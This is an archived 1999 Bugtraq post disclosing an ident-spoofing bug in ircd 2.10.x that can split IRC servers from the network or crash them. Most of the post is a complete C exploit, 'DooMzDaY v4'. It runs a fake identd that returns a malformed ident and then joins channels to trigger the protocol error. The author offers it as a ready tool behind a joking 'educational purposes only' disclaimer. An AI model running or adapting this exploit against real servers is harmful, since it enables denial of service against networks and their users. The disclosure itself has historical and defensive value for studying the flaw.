Bugtraq mailing list archives

IRC: Exploit for a Bug in ircd2.10.x (qident)


From: psychoid () GMX NET (psychoid () GMX NET)
Date: Sun, 8 Aug 1999 02:31:23 +0200


I dont think that has been posted before.
There is a bug in ircd 2.10.x used in ircnet in conjunction with
qident.

DESCRIPTION
-----------

qident does not check sucessfully for spaces and characters
as like *, ! and @.

When using an ident as like "@o ! ! !", o would be treated as
host, the parameters which are left, would be enhanced by the number of
spaces provided by the ident.

If this ident is accepted, the connected client will become
a ghost. This ghost is not successfully transmitted to the
ircnetwork, thereful only visible on the server it connects.

That would not be problematic, but the real problems occur, when
the bogus idented client joins a channel. The join is not being
rejected by the network and transfers the bogus ident with the
parameters. Then, a "protocol error" occurs, the server is forced
to split from the rest of the network.

More problematic gets the fact, when the bogus client gets collided.
This can lead to a denial of service crashing the ircd completely.

FIXES
-----

The opers had been informed quite a time ago, there are only some servers
left which react on that bogus ident.

EXPLOIT
-------

Attached you will find a simple exploit, which starts an irc client
with a spoofed ident. There should not run in.identd, while the
exploit is used. Also, you have to be root (used for the bind). And it's
written for linux.

GREETINGS
---------
especially to suffkopp and his friend newroot. those lamers forced me to
make it public.

so far,

psychoid

www.psychoid.lam3rz.de

--
Sent through Global Message Exchange - http://www.gmx.net

/* DooMzDaY v4 - ircd 2.10.x/ircnet - exploit
 * for linux - written by psychoid from tcl
 *
 * general vulnerability found by Hippo
 * a fix already is available, but there are
 * also incomplete fixes out there.
 *
 * this splits a server from the network. Simple, isnt it ?
 *
 * if you really want to run this, there should not run
 * an in.identd on your machine. Also, you need to be root.
 *
 * erm, this is for educational purposes only. Even, if noone gets
 * hurt *g*.
 */ 

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <setjmp.h>
#include <signal.h>
#include <string.h>
#include <sys/time.h>

jmp_buf jumpback;

void timed_out( int sig ) {
  longjmp( jumpback, 0x0 );
}

void fuck_it(int sig) {
  longjmp( jumpback, 0x0 );
}

int settimeout(unsigned short sockh, unsigned short timeout) {
  fd_set rfds;
  struct timeval tv;
  FD_ZERO(&rfds);
  FD_SET(sockh,&rfds);
  tv.tv_sec=timeout;
  tv.tv_usec=0;
  select(sockh+1,&rfds,NULL,NULL,&tv);
  if (!FD_ISSET(sockh,&rfds)) {
     return 0;
  } else {
     return 1;
  }     
  /* returns 0=timeout or error, 1=input there */
}


unsigned long lookup(char *hostname)
{
    struct hostent *name;
    unsigned long int address;
    
    if ((address = inet_addr(hostname)) != -1)
        return address;
    if ((name=gethostbyname(hostname)) == NULL)
        return -1;
    memcpy(&address,name->h_addr,name->h_length);
    return address;

}

int writesock(int sock,char *buf)
{
    write(sock,buf,strlen(buf));    
}

int readsock(int sock,char *buf,int size)
{
    int rc;
    fd_set rfds;
    struct timeval tv;
    int cnt;
    memset(buf,0x0,size);
    cnt=0;
    if (settimeout(sock,1)==1) {
        do {
            rc=read(sock,buf+cnt,1);            
            if (rc==0) return rc;
            if (rc==-1) return rc;
            cnt++;
        } while (buf[cnt-1] != '\n' && buf[cnt-1] != '\r' && cnt<size);
    }
    return 0;
}

int sockconnect( unsigned short timeout, unsigned long iP, unsigned short port ) {
  int                socky;
  int wasread;
  int currentsock;
  struct sockaddr_in address;
  struct hostent *athost;
  char lasock[0x100];
  unsigned long tip;
  unsigned short prt;
  FILE *sockslist;
  FILE *lastsock;
  
  if (( socky = socket( AF_INET, SOCK_STREAM, 0x0 )) == -1 ) {
    return socky;
  }
    
  address.sin_family      = AF_INET;
 
  address.sin_port        = htons( port );
  address.sin_addr.s_addr = iP; 
  signal( SIGALRM, timed_out );
  alarm(10);    

  if ( setjmp( jumpback ) == 0x0 ) {
    if ( connect( socky, (struct sockaddr*)(&address), sizeof( address ))) {
       socky = -1;
    }
  } else { socky = -1; }

  fflush(stdout);        

  alarm (0);
  return socky;

}

void brokenpipe()
{
    printf("Broken Pipe\n");
    return;
}

int tcpconnect( unsigned long  iP, 
                unsigned short port, 
                unsigned short timeout ) {

  int                socky;
  struct sockaddr_in address;
  struct sigaction sv;
  struct hostent *athost;
  char thathost[0x100];
  char buffer[512];

  int tries, length;
  socky = -1;
  tries = 0;

  sigemptyset(&sv.sa_mask);
  sv.sa_handler=brokenpipe;
  sigaction(SIGPIPE,&sv,NULL);    

/*  if ((athost = gethostbyname (thathost)) == NULL) {
     return -1;     
  }*/

  fflush(stdout);
   if ((socky = sockconnect(timeout,iP,port)) == -1) {
        fprintf(stdout,"Connection refused.\n");
        socky = -1;
        return socky;
   }

  if (socky == -1) printf("Connection refused.\n");    
  alarm( 0x0 );

  return socky;
}

int ircdboost(char *host, int port, char *nick)
{
    int sock;
    char buf[2048];
    char *pt;
    printf("Step 2: Connecting to the IRC Server.\n");
    sock=tcpconnect(lookup(host),port,10);

    if (sock==-1) {
        printf("Error: cant connect\n");
        exit(0x0);
    }
    printf("Step 3: Connected.. sending user / join\n");
    /* the star is very very important */
    writesock(sock,"USER o a a :a\r\n");
    snprintf(buf,sizeof(buf),"NICK %s\r\n",nick);
    writesock(sock,buf);
    snprintf(buf,sizeof(buf),"WHOIS kbnn%d\r\n",lookup(host));
    writesock(sock,buf);
    /* this joins are needed to broadcast the user to the connected servers */
    writesock(sock,"JOIN #sex\r\n"); /* yeah, right */
    writesock(sock,"JOIN #showdown\r\n"); /* yeah, right */
    writesock(sock,"JOIN #funfactory\r\n"); /* yeah, right */
    writesock(sock,"JOIN #usa\r\n"); /* yeah, right */
    writesock(sock,"JOIN #flirt.de\r\n"); /* yeah, right */
    writesock(sock,"JOIN 0\r\n"); /* yeah, right */
    printf("Step 4: Please press control+break to release the split.\n");
    while (readsock(sock,buf,sizeof(buf)) >=0)
    {
        pt=strstr(buf,"PING");
        if (pt==buf)
        {
            writesock(sock,"PONG :PPP\r\n");
        }
        pt=strstr(buf,"ERROR");
        if (pt==buf) break;
        printf(buf);
    }
    close(sock);
}

int
main (int argc, char **argv)
{
  int listensocket, insocket, outsocket;
  short listenport, destport;
  struct hostent *socks_he, *dest_he;
  struct sockaddr_in listen_sa, socks_sa;
  char buf[200];
  int sopts = 1, maxfd;
  char c[100];
  char *po;
  int length;
  int cnt;
  int rc;
  int lport,fport;
  fd_set rfds;
  lport= 0; fport =0;    

  printf("\nDooMzDaY v4 - by psychoid\n");
  printf("exploits a bug in the ircd ident request of ircd 2.10.x\n");

  if (argc != 4)
    {
      printf ("Usage: %s ircserver port nick\n", argv[0]);
      printf ("Example: %s chat.bt.net 6669 killah\n\n", argv[0]);
      exit (1);
    }

  printf("Setting up..\n");

  listenport = 113;

  listensocket = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
  setsockopt (listensocket, SOL_SOCKET, SO_REUSEADDR, &sopts, sizeof (int));

  memset (&listen_sa, 0, sizeof (struct sockaddr_in));

  listen_sa.sin_port = htons (listenport);
  listen_sa.sin_addr.s_addr = htonl (INADDR_ANY);

  socks_sa.sin_port = htons (destport);

  if ((bind (listensocket, (struct sockaddr *) &listen_sa, sizeof (struct sockaddr_in))) == -1)
    {
      perror ("bind");
      exit (1);
    }
  if ((listen (listensocket, 1)) == -1)
    {
      perror ("listen");
      exit (1);
    }

  rc=fork();
  if (rc ==0) {
     printf("\nStep 1: Starting identd\n");
     sleep(2); /* the demon should really run */
     ircdboost(argv[1],atoi(argv[2]),argv[3]);
     exit(0x0);    
  }     
gee:
  sleep(1);
  printf("        Identd started.. listening.\n");
  insocket = accept (listensocket, NULL, 0);
  if (insocket == -1)
    {
      perror ("accept");
      exit (1);
    }

  while (1)
    {
      memset(c,0x0,sizeof(c));
      FD_ZERO (&rfds);
      FD_SET (insocket, &rfds);
      select (insocket+1, &rfds, NULL, NULL, NULL);
      if (FD_ISSET (insocket, &rfds))
        {
          length = recv (insocket, c, 100, 0);
          if (length == -1 || length == 0)
            break;
          sscanf(c," %d , %d", &lport, &fport);
          snprintf(buf,sizeof(buf),"%d , %d : USERID : UNIX : @o ! ! ! ! ! ! \r\n",lport,fport);
          printf("\nIdent : %s\n",buf);
          /* sending it a second time because of the lame 1st patch */
          send(insocket,buf,strlen(buf),0);
          snprintf(buf,sizeof(buf),": USERID : UNIX : @o ! ! ! ! ! ! \r\n");
          printf("\nIdent : %s\n",buf);
          send(insocket,buf,strlen(buf),0);
          break;
        }
    }
  sleep(1);
  close (insocket);
  close (listensocket);
  wait(0);
  exit(0x0);
}



Current thread: